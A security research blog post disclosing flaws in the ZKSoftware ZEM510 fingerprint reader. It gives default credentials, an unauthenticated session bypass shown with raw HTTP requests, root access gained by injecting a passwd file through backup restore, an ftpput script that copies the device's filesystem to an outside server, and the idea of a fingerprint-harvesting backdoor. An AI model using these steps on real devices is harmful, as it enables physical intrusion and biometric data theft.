Perverting Embedded Devices — ZKSoftware Fingerprint Reader (Part I)
As you may have noticed from other blog posts, we like to play around with basically any device we can get our hands on. Incidentally, this year we acquired a bio-metric device that we have had the chance to see during some audits we carried out.
Front view of the ZEM510 fingerprint reader.Normally when a bug is found in embedded devices, they provide access to a network which could be used to pivot or persist in a network. In this case they can provide physical access to a facility, it’s normal to see this kind of fingerprint readers providing access control to highly secure areas, such as data centers or entire buildings.
Back view of the ZEM510 fingerprint reader.On plain sight we can find:
- a bootloader screen that says << Linux : security for your life >>
- LCD screen
- digital fingerprint reader
- a keypad
- power supply port
- RJ45 network port
- 2 USB ports
- at the back, there is a little tamper switch that will detect when the device is detached from the wall, and will trigger the alarm mode.
Overview
The specific name of the device is ZK-I01A ID GPRS, also known as ZEM510 and costs approximately U$200. It’s made by ZKSoftware, which happens to have a reseller here, in Argentina. It’s a bio-metric fingerprint reader that’s supposed to provide controlled entrance of personnel and security to facilities.
In their official websites you can find a detailed documentation about it. Downloads and user manual also available.
Between the principal characteristics there are a few to highlight:
- Communication methods:
- RS232/485
- USB Host/client
- TCP/IP
- Wiegand
- Reader: EM Marin125 khz, Protocol: Wiegand 26
- Power supply: 12v, 1,5A and a 4hs additional battery.
- Programmable output for a bell.
Looking for a way to communicate!
Serial connection via USB
We tried serial communication via USB, which creates a virtual serial port, using miniterm and screen, synchronizing the recommended baud rates and rebooting the device in order to expect some kind of prompt or output, but nothing came out of it :(
Ethernet connection via UTP Cable
After noticing that the network interface by default sets its IP address to 192.168.1.201 and has an access restriction by IP, we found out that setting our local one to 192.168.1.220 would do the trick.
Once we have connection, an nmap port scan shows this results:
- TCP 80 : the device is running webserver
- TCP 23 : a classic telnet server (telnetd from busybox)
- TCP/UDP 4370 : custom protocol
- UDP 65535 : custom protocol that will respond to requests to broadcast and is used to find the fingerprint readers in the network
Interesting ports, let’s dig up a little more.
Telnet? ZEM510?
Port 23 seems to be a telnet service, we check if it’s legitimate:
telnetting device
Trying luck with telnet using default users such as:
admin:admin
root:root
admin:1234
Doing a bit of research on the internet we managed to gather several default user:passwords that this vendor normally uses for this kind of devices:
root:colorkey
root:solokey
root:swsbzkgn
admin:admin
888:manage
manage:888
manage:888
asp:test
888:asp
Unfortunately, not a single one of them worked on our device. Additional tools like hydra and medusa were used but also where a no-go.
Web Application Panel
Port 80 was showing a web server so we decided to check it out. A website and a login page for what seems to be a control panel appeared.
Web panel login.
Using a classic, administrator:123456
we got access to the web panel.
Default user credentials working.
Browsing the website and logging the requests led us to determine the web server and the application was handling sessions in a VERY poor way. We could access pages that needed authorization without being authenticated.
The file start.csl
includes menu.csl
, and this last one gives you access to the rest, so we should try to access it first. We need to destroy our cookie and make sure we are using an empty one to access a restricted area.
Showing session cookie on console.
Showing empty cookie on console on start.csl
And we’re in. Let’s see the requests in plaintext with ncat so you understand the gravity of the situation.
Accessing /csl/start:
isr@~% ncat zkwebserver 80
GET /csl/start HTTP/1.1
Host: zkwebserver
HTTP/1.0 200 OK
Server: ZK Web Server
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html;
Connection: close
<HTML><HEAD><TITLE></TITLE>
<META http-equiv=Content-Type content='text/html;'>
<META http-equiv=Cache-control content=no-cache>
<META http-equiv=Pragma content=no-cache>
<LINK href='../css/Secutime.css' type=text/css rel=stylesheet>
<META content='MSHTML 6.00.2900.3562' name=GENERATOR></HEAD>
<FRAMESET border=0 frameSpacing=0 rows=37,* frameBorder=NO cols=*>
<FRAME name=header src='/csl/header' noResize scrolling=no>
<FRAMESET border=0 frameSpacing=0 rows=* frameBorder=NO cols=180,*>
<FRAME name=menu src='/csl/menu' noResize scrolling=auto>
<FRAME name=content src='/csl/desktop'></FRAMESET>
</FRAMESET>
</HTML>
You can see that the web server replied with 200 OK and tried to load in framesets /csl/menu
, /csl/desktop
and /csl/header
without asking for an auth. So far we can't state for sure that calling /csl/menu
directly will have the same effect.
Accessing /csl/menu
(stripped content for clarity):
isr@~% ncat zkwebserver 80
GET /csl/menu HTTP/1.1
Host: zkwebserver
HTTP/1.0 200 OK
Server: ZK Web Server
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html;
Connection: close
Terminal
javascript:oncwx(); -> Login Off
/csl/desktop -> Dev Status
User Report
/csl/report -> Report
/csl/query -> Query
/form/RealTime -> Monitor
User Administration
/csl/dpm -> Department
/csl/user -> User
/csl/user?action=add -> Add User
Setting
/form/Device?act=5 -> TCP/IP
/form/Device?act=17 -> WIFI Setting
/form/Device?act=3 -> Date/Time
/form/Device?act=7 -> Change Password
Terminal
/form/Device?act=11 -> Backup
/form/Device?act=14 -> Restore
/form/Device?act=12 -> Update
/csl/download -> Download
/form/Device -> Reboot
Response shows menu content loaded completely, and to make it even better you can see how bad they are handling sessions: the ‘Login off’ option is nothing more than a call to a JavaScript function that takes you to the login page.
If the login page had a destroy session or something alike it would be considered a CSRF, which in this case, supposing that sessions were handled “properly”, meant the only “security” administrators had, but no, not even that.
We can conclude either an anonymous user or an administrator have the same privileges on the website, making session handling utterly useless. The only difference would be that the anon user has to access menu directly and the admin can make use of their fantastic “Web 3.0” login.
Web vulnerabilities
Now that we completely control the web interface, we started looking for vulnerabilities that could lead to access to the linux that’s running below.
For this post we’re leaving web vulnerabilities aside and instead we’ll discuss just one major one, you’ll see why soon.
Web backup section.In the backup section we got two options, backup either System data or User Data. Any of those options will download a .dat file
Downloading backup system data example.Showing downloaded files:
isr@zk% file *
data.dat: gzip compressed data, max compression, from Unix
device.dat: gzip compressed data, max compression, from Unix
They are both gzipped, let’s extract them.
[Backup user data] :
user.dat
isr@zk% tar zxf data.dat && ls -R
.:
data.dat device.dat mnt/
./mnt:
mtdblock/
./mnt/mtdblock:
custattstate.dat custvoice.dat data/ dpmidx.dat extlog.dat extuser.dat oplog.dat sms.dat udata.dat user.dat workcode.dat
./mnt/mtdblock/data:
extlog.dat template.dat transaction.dat
Peeking around we found that most of the files were illegible or empty, and decided to continue with the next gzipped file before going further.
We deleted the entire extracted folder in order to avoid contents to be overwritten in the next extraction.device.dat
[Backup system data] :
isr@zk% tar zxf device.dat && ls -R
.:
data.dat device.dat mnt/
./mnt:
mtdblock/
./mnt/mtdblock:
options.cfg
A config file is always interesting to see! The file options.cfg contains configuration variables, below some of them categorized for a better understanding:
Network
IPAddress=192.168.1.201
GATEIPAddress=192.168.1.1
NetMask=255.255.255.0
Communication
UDPPort=4370
TCPPort=4368
WEBPort=80
RS232BaudRate=115200
RS232On=1
Device info
Platform=
OEMVendor=ZKSoftware Inc.
AlgVer=ZKFinger
ProductTime=
SerialNumber=
DeviceName=
Device configuration
TFTKeyLayout=0
LcdMode=0
KeyPadBeep=1
VoiceOn=1
VOLUME=67
AlarmOpLog=99
Language=83
AdmRetry=3
Web Administrator password
LoginPWD=123456
Paths
WAVFILEPATH=/mnt/ramdisk/wav/
BMPFILEPATH=/mnt/mtdblock/image/
FONTFILEPATH=/mnt/mtdblock/
PICFILEPATH=/mnt/mtdblock/
WebRoot=/mnt/mtdblock/
PHOTOFILEPATH=/mnt/mtdblock/photo/
CAPTUREPHOTOPATH=/mnt/mtdblock/
It’s clear that options.cfg includes lots of sensible configuration information (not only from the web interface, but from the entire device) that you can even pushed back modified with the ‘restore backup’ option UNAUTHENTICATED.
SOAP API
If you want to head this way, you will also find that the web server has a SOAP API (without authentication, of course) allowing you to retrieve the entire list users (passwords included), the last users that opened the door, and pretty much everything.
Got root? Arbitrary File Injection
At this stage it was clear for us that we should try to re-upload the backup folder with additional files to test the restrictions of the uploader and see what happens.
As we already know, the server that’s running behind is a Linux on a MIPS, meaning user’s passwords database is /etc/passwd
file and probably /etc/shadow
. So we generate a passwd file with user root and a known password:
isr@zk% echo "root:knownpassword:0:0:root:/root:/bin/sh" > passwd
Note that we’re using the plain representation as an example, md5crypt should be used.
Setting up the passwd file in context:
isr@zk% mkdir etc/ && mv passwd etc/
Compressing again with gzip and uploading our ‘backup’ via web interface using the same name the file had when it was downloaded (data.dat for example).
Restore data section.
Upload success.
Let’s see if it worked, shall we?
ZEM510 shell prompt
Awesome! As you can see the passwd file was successfully overwritten with ours. And now we have root access.
Privacy issues
All these vulnerabilities also raise the question of privacy: are the personal information of the users safe?
From the user’s manual the manufacturer claims the following:
- All of our fingerprint recognition devices for civil use only collect the characteristic points of fingerprints instead of the fingerprint images, and therefore no privacy issues are involved.
ZKSoftware Statement on collection of fingerprints
Ok, that would be great if it were completely true.
Login ids, as we’ve seen in pentests before, are always associated with the user’s real name and their fingerprint. The vendor states that the fingerprint is stored as a representation of itself, and they are not lying, but also missing an important point on the process.
When a fingerprint is scanned and pushed back to the database, interchangeably if it comes from a new user or an existing one, a temporary fingerprint image is always stored at /mnt/ramdisk/finger.bmp
so the device can calculate its characteristics until the next fingerprint replaces it.
An example of a typical image that can be found on the device.
Thumb fingerprint.Compromising the device and installing a backdoor to retrieve every uploaded fingerprint to later associate them to the corresponded users, will end up on a nice recompilation of information from a facility, don’t you think?
Emulation of the device
In order to find more vulnerabilities, we will set up the embedded device, but since there is no firmware available, we are going to extract all the information from a live device.
Dump it all!
To understand more about the structure of the OS we downloaded it entirely.
Busybox command listThe commands were scarce, but making a simple script like the one below, using ftpput, we were able to pull the entire system to our computers.
dump.sh: for i in $(find `pwd` -name "*"); do ftpput ftp_server $i $i done
Having everything needed to replicate the environment we just miss a MIPS Virtual Machine to properly emulate the firmware, and this can be achieved quite easily by using QEMU.
With the VM working and with a chroot in place, we were able to run a binary named « main », located in /mnt/mtdblock/main
, which is in fact the main binary for the web application and... almost everything. It's also one of the few binaries that run in the server besides telnetd.
Troubleshooting
When launching main, we found out it was messing with the TTY (that is used as a framebuffer device, for the TFT screen), making it impossible to interact. Same thing happened with network (it reconfigures when starting), but by adding an empty « ifconfig » command in /usr/local/bin
, we were able to circumvent this problem.
Additional findings
We also found that the web service and their custom « main » service were vulnerable of buffer overflows and arbitrary file disclosure. These vulnerabilities will be published on Part II, next week
Thanks to @achillean who kindly provided us access to SHODAN maps, we leave you this lovely postcard:
Authors from @infobytesec Team:
- Federico Kirschbaum (@fede_k)
- Matías A. Ré Medina (@mattaereal)
- Korantin Auguste (palkeo)
- Juan Urbano (@juanurss)